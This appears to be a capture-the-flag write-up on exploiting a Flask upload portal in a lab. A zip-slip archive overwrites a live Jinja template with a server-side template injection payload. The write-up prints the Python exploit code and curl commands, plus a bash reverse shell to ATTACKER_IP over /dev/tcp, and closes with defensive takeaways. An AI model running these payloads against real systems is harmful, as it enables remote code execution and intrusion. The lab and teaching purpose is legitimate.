Hacker Holidays — Day 10: The Hollow Shell
A zip-slip flaw in a staff upload feature lets an extracted archive entry escape its per-upload folder and overwrite the app's own live Jinja template, turning a simple file upload into persistent SSTI/RCE.

Event: Hacker Holidays — The Byte Lotus Hotel · Day 10 · Web (File Upload / Zip Slip → RCE) Target:
http://MACHINE_IP:5000(Flask/Gunicorn) — Shoreline Display portal
The Setup
A staff portal lets guests/staff upload a “shell” — a .zip “souvenir pack” containing
a shell.json manifest plus assets (png jpg gif svg css json). Once uploaded it’s
extracted and listed on the dashboard. The briefing spells it out with a pun: “Slip
past what the portal forgets to check, and the shell answers with a shell of your
own” — a direct pointer at zip slip (path traversal during zip extraction).
Recon
nmap -A -p- -Pn -n -T4 10.130.148.247
# 22/tcp OpenSSH
# 5000/tcp Gunicorn — "Byte Lotus — Room Service", redirects to /login
/login leaks default creds in an HTML comment:
<!-- IT seeds every property with the same starter login:
user: concierge
pass: StayNoticed2024! -->
curl -s -i -c jar.txt -d 'username=concierge&password=StayNoticed2024!' http://TARGET:5000/login
# 302 -> /dashboard, Set-Cookie: session=...
The Upload Feature
/dashboard exposes a POST /upload (multipart, field shell) that accepts a .zip.
The page explicitly calls out “automation hooks” the “theme worker” applies — a
deliberate red herring pointing attention at a hook mechanism, when the real bug is in
extraction itself.
A first plain upload (shell.json + a logo.png) succeeded (302, no visible error) but
didn’t appear in “Shells on display” — the listing just needed a name field in the
manifest to render:
{ "name": "Test Shell", "assets": ["logo.png"] }
The success flash message (found by decoding the Flask session cookie — see below)
revealed the storage path convention: shells/<12-hex-id>/.
Reading the Flash Message (No Key Needed)
Flask’s signed session cookie is zlib-compressed and base64-encoded, prefixed with a
.. Reading it requires no secret key (only forging one does):
python3 -c "import base64,zlib; d='<cookie-payload>'; d+='='*(-len(d)%4); print(zlib.decompress(base64.urlsafe_b64decode(d)))"
This decoded to:
{"_flashes":[["message","Shell 'Test Shell' brought ashore. Stored at shells/e608cd4f499c/ ..."]], "staff":"concierge"}
— confirming files are extracted to shells/<id>/ and served at
GET /shells/<id>/<filename>.
Ruling Things Out
- SSTI via the manifest
namefield — tested{{7*7}}as the name; it rendered literally, not49. Jinja auto-escapes the displayed name, so no SSTI there. - URL-level path traversal on
/shells/<id>/<file>(../../../etc/passwd, URL-encoded variants) — all 404. Werkzeug’s routing /send_from_directoryblocks traversal in the request path itself. - “Automation hooks” as a JSON key (
hooks.cmd,on_display,run,exec, etc.) and magic script filenames (hook.sh,apply.sh,worker.sh) inside the zip, each pointed at an out-of-bandcurlcallback — no listener hits after multiple attempts. Flavor text, a genuine red herring. - SVG stored-XSS harvested by a bot — an SVG with an embedded
<script>beaconing to a listener got no hits either. Not the vector.
The Real Bug — Zip Slip → Template Overwrite → SSTI/RCE
Zip extraction did not sanitize entry paths. A zip entry named with ../ traverses
outside the intended shells/<id>/ directory during extraction — the classic zip-slip
flaw, where zipfile.extractall() (or a manual per-entry write) never strips ..
components.
Confirmed the primitive first with a simple 1-level escape:
import zipfile
z = zipfile.ZipFile('/tmp/evil2.zip', 'w')
z.writestr('shell.json', '{"name":"Evil2","assets":["pwn.png"]}')
z.writestr('../pwn.png', b'ZIPSLIP-OK')
z.close()
After upload, the dashboard listing showed a new top-level entry shells/pwn.png/ —
proof the file escaped its per-upload UUID folder up into the shared shells/
directory.
Escalating to RCE — Overwrite the Live Jinja Template
Since one ../ reaches shells/, two reaches the app root. Targeting the actual
template rendered on every dashboard load (templates/dashboard.html) with a classic
Flask SSTI/RCE payload, trying several traversal depths in one zip to cover uncertainty
about the exact directory layout:
payload = '{{ self.__init__.__globals__.__builtins__.__import__("os").popen("id").read() }}'
for depth in range(1, 5):
z.writestr('../' * depth + 'templates/dashboard.html', payload)
The upload returned a 500 (a later, too-deep entry in the loop errored), but earlier
entries in the zip had already been written before the crash — including the depth-2
entry, which landed exactly on the real templates/dashboard.html. From then on, every
request to /dashboard re-rendered that template, executing the payload and returning
raw os.popen(...) output as the entire page body:
curl -s -b jar.txt http://TARGET:5000/dashboard
# uid=996(roomservice) gid=996(roomservice) groups=996(roomservice)
Confirmed RCE — and a persistent one, since the payload lives in the template file itself and re-fires on every page load rather than being a one-shot hook.
Reverse Shell
Re-upload with the same depth-2 target, swapping the payload for a reverse shell:
import zipfile
payload = '{{ self.__init__.__globals__.__builtins__.__import__("os").popen("bash -c \'bash -i >& /dev/tcp/ATTACKER_IP/5555 0>&1\'").read() }}'
z = zipfile.ZipFile('/tmp/revtpl.zip', 'w')
z.writestr('shell.json', '{"name":"RevTpl","assets":["logo.png"]}')
z.writestr('logo.png', b'')
z.writestr('../../templates/dashboard.html', payload)
z.close()
curl -s -b jar.txt -F 'shell=@/tmp/revtpl.zip' http://TARGET:5000/upload
curl -s -b jar.txt http://TARGET:5000/dashboard # triggers the render -> shell
nc -lvnp 5555
# Connection received...
roomservice@tryhackme-2404:~$ cat flag.txt
THM{redacted}
Landed as roomservice (uid 996) — the flag was directly readable in the home
directory, no further privesc needed.
Takeaways
- Sanitize every zip entry name before extraction. Reject or strip any entry
containing
.., absolute paths, or symlinks. Python’szipfiledoes not do this for you —extractall()and manual per-entry writes are both vulnerable unless you explicitly validateos.path.realpath(dest).startswith(target_root)for every member. - A partial/crashed extraction can still leave attacker-controlled writes in place. The app 500’d mid-loop, but earlier entries had already hit disk — don’t assume a failed request means nothing happened.
- Overwriting a live Jinja template file is RCE, not just a file-write bug. Any
writable location the app later
render_template()s from is a code-execution primitive, not merely “path traversal.” - Flask’s session cookie is base64+zlib, readable without the secret key. Useful for silently reading flash messages / session state without ever forging a cookie.
- Red herrings matter as much as real bugs in these rooms. The “automation hooks” copy was flavor text designed to burn time on JSON-key guessing; the actual vuln was in extraction, which the challenge title (“Hollow Shell”) was hinting at all along.
Flag
THM{redacted}